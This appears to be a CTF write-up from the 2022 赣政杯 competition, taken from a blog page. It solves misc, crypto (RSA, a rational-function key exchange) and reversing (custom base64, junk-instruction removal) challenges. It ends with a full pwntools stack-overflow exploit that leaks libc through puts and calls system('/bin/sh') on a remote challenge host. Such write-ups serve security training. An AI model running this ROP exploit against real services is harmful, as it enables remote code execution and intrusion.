• 2022赣政杯 Writeup


    Misc

    Misc1

    txt内容,列数有386列
    在这里插入图片描述
    很明显的零宽字符,直接解
    在这里插入图片描述

    flag{aeb7e93d-8e49-4977-a77d-d830b3e78da0}

    Misc2

    打开压缩包发现是一堆的emoji表情
    在这里插入图片描述
    在这里插入图片描述
    emoji-aes解密
    在这里插入图片描述
    需要key,在压缩包中找到key:the_secret_key
    在这里插入图片描述
    解出以下表情包,看排列格式想到摩斯电码或者二进制排列,有空格,一般为摩斯电码
    在这里插入图片描述
    转换为莫斯电码格式:
    在这里插入图片描述
    uuid格式,空格替换为-

    FLAG{b50CCDD34-F7CA-4DC6-A907-972C5C4501E8}

    Ctypto

    Ctypto1:

    49855085318435073046330642940765872765304124335218589380541236963454814134003275484820248460762026800406968909612614387195725505599161732173392638922786803311634545787045750985305489377942134248021067866421562958650150294230888228985465349786699479689256807465768291737611710217406103274112513343522220579775846598432707064257755776968832655194007245146498098969678280994239966324629884465410583122858282366628813265851968510470965791399482347740834450388330114047756336958735465527462814834713103520953935529330042307850614270340063658350328792248313740537076253637843721024504644597206697381299557947444980226466873318668287989717967944585523926884053786776312597480545886246474490223835791688488128381319614090743542249712583034478626526803646151613891095908533705664756543044233211912755029579409820701593827537415071352230125454228067829708365542363728928615026085295070159189419017700579134399189094919696859791164271004180260539313586898823659478287374563448765508515448239946223017459137307294211786033013932581750061197281833829139141387627759828251411177434140137846483051746471223623874561111161396582813759688262897508032776273734870302625894327342010642833281804636297142996523583625528835539148769210703
    16402842294493057983664243934220410367922940064827442432635311538480259276693509061580178099156672734935071591984975846251552151158996555441540673736782655511109689242530218909623902239361387976253099488694749080041058601946401795438420778732039723942603210906137778277751920492456089120157084624625689393856644681236531481555553310179396715881794304350662061591378357548647386383226829059901411963596970110005082851173119873959506608820974202852298513582148730122250099666503479885504873701010178419440534561313370798381801403824394868772907174238263809571599191928663819277131853753740167401508603150166842871600719845855581570148319435027636716776848101223730745987468157963881450392354186721122591613234449764063117158539030391228797346711154877572896981921225969509518759322541659341488322332946673447777165338449931340249620317959955132691469504297273159896092178954211618661250417995610050958199243935927131725491363126509229036071515630335776479789450713314042438409774423384617410164068629188030711022989650783699334538536380642780758730693752953836987618960789409525401409412421619923140599348899209332612164802489097000673103781114195396843813456784010847708400021027265621140506331350848438181967123625314
    
    
    • 1
    • 2
    • 3

    由题目可知是循环128次生成了 32 位素数并将它们相乘以产生用于 RSA 加密的模数。由于 32 位很小,我们可以n使用 sage 来分解,并且所有素数都是唯一的可能性很高(有很多 32 位素数),所以我们可以计算phi(n)为p_i - 1素数的乘积p_i,或者使用sage的totient的功能来解密。
    sage脚本:

    import libnum
    import gmpy2
    
    n = 49855085318435073046330642940765872765304124335218589380541236963454814134003275484820248460762026800406968909612614387195725505599161732173392638922786803311634545787045750985305489377942134248021067866421562958650150294230888228985465349786699479689256807465768291737611710217406103274112513343522220579775846598432707064257755776968832655194007245146498098969678280994239966324629884465410583122858282366628813265851968510470965791399482347740834450388330114047756336958735465527462814834713103520953935529330042307850614270340063658350328792248313740537076253637843721024504644597206697381299557947444980226466873318668287989717967944585523926884053786776312597480545886246474490223835791688488128381319614090743542249712583034478626526803646151613891095908533705664756543044233211912755029579409820701593827537415071352230125454228067829708365542363728928615026085295070159189419017700579134399189094919696859791164271004180260539313586898823659478287374563448765508515448239946223017459137307294211786033013932581750061197281833829139141387627759828251411177434140137846483051746471223623874561111161396582813759688262897508032776273734870302625894327342010642833281804636297142996523583625528835539148769210703
    c = 16402842294493057983664243934220410367922940064827442432635311538480259276693509061580178099156672734935071591984975846251552151158996555441540673736782655511109689242530218909623902239361387976253099488694749080041058601946401795438420778732039723942603210906137778277751920492456089120157084624625689393856644681236531481555553310179396715881794304350662061591378357548647386383226829059901411963596970110005082851173119873959506608820974202852298513582148730122250099666503479885504873701010178419440534561313370798381801403824394868772907174238263809571599191928663819277131853753740167401508603150166842871600719845855581570148319435027636716776848101223730745987468157963881450392354186721122591613234449764063117158539030391228797346711154877572896981921225969509518759322541659341488322332946673447777165338449931340249620317959955132691469504297273159896092178954211618661250417995610050958199243935927131725491363126509229036071515630335776479789450713314042438409774423384617410164068629188030711022989650783699334538536380642780758730693752953836987618960789409525401409412421619923140599348899209332612164802489097000673103781114195396843813456784010847708400021027265621140506331350848438181967123625314
    e = 65537
    
    phi = 1
    for i in factor(n):
    phi *= i[0]-1
    d = gmpy2.invert(e,phi)
    m = pow(c,d,n)
    print(libnum.n2s(int(m)))
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    在这里插入图片描述

    flag{d7ec0101f0d87bf4e7dd097205fd2e04}

    Ctypto2

    output.txt

    p = 3194984946529517576623074200234946014168164205272620815161235399519719606884315059679688351630156726656139476261880683998464588759384965205345409962107767
    C1 = (255573898199035041758965366038981084944157531399911657546492546433145386414968079402856253975194361011751146133423751388034343796045680531444243160752444*x + 2903815552142613054383579208402338539795913037192087937799264976572710846298203210386085195493581420468855607449914648116910772709084472519026435777636170)/(x + 2386683479870808801459935303369975419760291443763988239234510374382152688298962756930974138943582796452015141560932451900850718037631878185501679332085683)
    C2 = (132377494416343006999975863569277589493418289854129016039518413763966765500976955235604047782115253235862592410665710097368078866567903025458054587345605*x + 1747644595793214356518694901929361859865467988580968186098568614375536195838520451868446204083724173193509104728376048358592847546643445182566589580577650)/(x + 2894641605792738933156836404900021526130503288556167018479410774304302335346335534666287744353802552093529238578190020705070270037282203986873569075466267)
    cipher = 149af037d77a9412932b2c2eed330fd85b097f08fc389c8e515fed6994c9d2ee0130502048f7fe84518fba684a2b7eb3
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    task.py

    from sage.all import *
    from hashlib import sha256
    from Crypto.Cipher import AES
    from secret import flag
    
    def pad(msg):
        return msg + bytes([0 for _ in range(16-len(msg)%16)])
    
    def my_func(f, k):
        g = x
        while k > 0:
            if k % 2 == 1:
                g = f(g)
            k = k // 2
            f = f(f)
        return g
    
    p = random_prime(2**512)
    R = PolynomialRing(GF(p),'x')
    x = R.gens()[0]
    
    fa,fb,fc,fd = 114,514,1919,810
    ga,gb,gc,gd = 33,44,5,21
    
    f = (fa*x+fb)/(fc*x+fd)  
    g = (ga*x+gb)/(gc*x+gd)
    
    x0 = randint(0, 2**128)
    x1 = randint(0, 2**128)
    y0 = randint(0, 2**128)
    y1 = randint(0, 2**128)
    
    C1 = my_func(f, x0)(my_func(g, x1))
    C2 = my_func(f, y0)(my_func(g, y1))
    C = my_func(f, x0 + y0)(my_func(g, x1 + y1))(0)
    
    IV_KEY = sha256(str(C).encode()).digest()
    IV = IV_KEY[:16]
    KEY = IV_KEY[16:]
    aes = AES.new(key=KEY,mode=AES.MODE_CBC,IV=IV)
    
    with open("output.txt", "w") as f:
        f.write("p = %s\n" % p)
        f.write("C1 = %s\n" % C1)
        f.write("C2 = %s\n" % C2)
        f.write("cipher = %s\n" % aes.encrypt(pad(flag)).hex())
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

    这题的my_func(f,k)是用快速幂来计算 迭代函数的,即
    题目本身就是选两个公开函数f,在Fp下的key exchange,然后从public key中求的shared secret
    两边的Public key分别是 , ,shared secret 为 。
    然后计算出g® = r,得出
    除此之外还可以发现 的格式为:
    其中b是一个常数,而a和x0有关。所以将r带入即可解出a,由此得出
    然后由于有理函数可逆,计算
    再由 计算出C(0)
    解出C(0)

    最后将C(0)进行sha256()加密,然后进行aes解密cipher即可得到flag
    py脚本:

    from Crypto.Cipher import AES
    import binascii
    
    
    c0 = 60758166664410599309225361879080100004096389127420990087382754102873745655502013444166498695929722450858470826222553796837297279135166502222591679952657
    cipher = b'149af037d77a9412932b2c2eed330fd85b097f08fc389c8e515fed6994c9d2ee0130502048f7fe84518fba684a2b7eb3'
    cipher1 = binascii.unhexlify(cipher)
    
    IV_KEY = sha256(str(c0).encode()).digest()
    IV = IV_KEY[:16]
    KEY = IV_KEY[16:]
    
    aes = AES.new(key=KEY,mode=AES.MODE_CBC,IV=IV)
    print(aes.decrypt(cipher1))
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述

    flag{c2cf3f7a-757d-4089-ba8e-d50d795308a2}

    Reverse

    re1

    apk逆出项目包
    在这里插入图片描述
    打开项目包中的文件,全局搜索整个app文件夹中所有文件,关键字flag,在libnavie-lib.so找到flag字段
    在这里插入图片描述
    直接base64解码失败,发现使用base64换表编码,使用base64换表进行解码,得到flag
    在这里插入图片描述
    base64换表脚本:
    str1是要解密的代码
    string1是改过之后的base64表

    import base64
    import string
    
    str1 = "zMXHz3THyMq0ngrMotq4ogy2ntm2n2y4nZiWnJDImZnJnwm3nx0="
    
    string1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
    string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    
    print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述

    flag{abd44df9488f65367f872067b33c5c75}

    re2

    丢进ida中反编译,发现存在花指令
    在这里插入图片描述

    在ida中去除花指令,继续查看,发现还存在花指令
    去除多个花指令后得到如下代码
    在这里插入图片描述
    经过代码分析,是base64换表
    在这里插入图片描述

    将换表后的密文进行解密,然后将解密后的值与0x01进行异或再减去3,最后将值转换为字符拼接起来即可得到flag
    在这里插入图片描述

    flag{388fe6da38dbdd1469d0c2e48c40d557}

    Pwn

    pwn1

    在这里插入图片描述
    在main函数中可以输入两次数字,可以导致变量覆盖,进而进行栈溢出,泄露libc地址,执行system即可获取shell
    exp如下:

    from pwn import *
    # from LibcSearcher import *
    context.log_level='debug'
    debug = 0
    file_name = './pwn'
    libc_name = './libc-2.23.so'
    ip = '111.74.9.131'
    prot = '10503'
    if debug:
        r = process(file_name)
        libc = ELF(libc_name)
    else:
        r = remote(ip,int(prot))
        libc = ELF(libc_name)
    
    def debug():
        gdb.attach(r)
        raw_input()
    
    
    file = ELF(file_name)
    sl = lambda x : r.sendline(x)
    sd = lambda x : r.send(x)
    sla = lambda x,y : r.sendlineafter(x,y)
    rud = lambda x : r.recvuntil(x,drop=True)
    ru = lambda x : r.recvuntil(x)
    li = lambda name,x : log.info(name+':'+hex(x))
    ri = lambda  : r.interactive()
    
    puts_plt = file.plt['puts']
    puts_got = file.got['puts']
    p_rdi = 0x00000000004007e3
    start_addr = 0x0004005C0
    ru("Hello\n")
    sl("19")
    sl("10000")
    payload = "a"*0x28+p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
    sl(payload)
    libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
    li("libc_base",libc_base)
    binsh =  libc_base+ 0x000000000018ce57 
    system = libc_base + libc.symbols['system']
    # debug()
    ru("Hello\n")
    sl("19")
    sl("10000")
    payload = "a"*0x28+p64(p_rdi)+p64(binsh)+p64(0x0400778)+p64(system)
    sl(payload)
    
    ri()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    863b8f4bdb4d4c8e1d47248afd729a51

  • 相关阅读:
    基于Lattice的密码学
    浅析主流跨端技术方案
    对于毕业以后感到迷茫吗,不知道毕业以后该做什么吗?
    基因组注释(Annotation)
    【Golang之路】——slice总结
    Dynamic-TP入门初探
    C++: 模板初阶
    神经内分泌肿瘤如何分级,神经系统分级调节概念
    AES简写
    Redis的安装与基本使用
  • 原文地址:https://blog.csdn.net/qq_36618918/article/details/126477726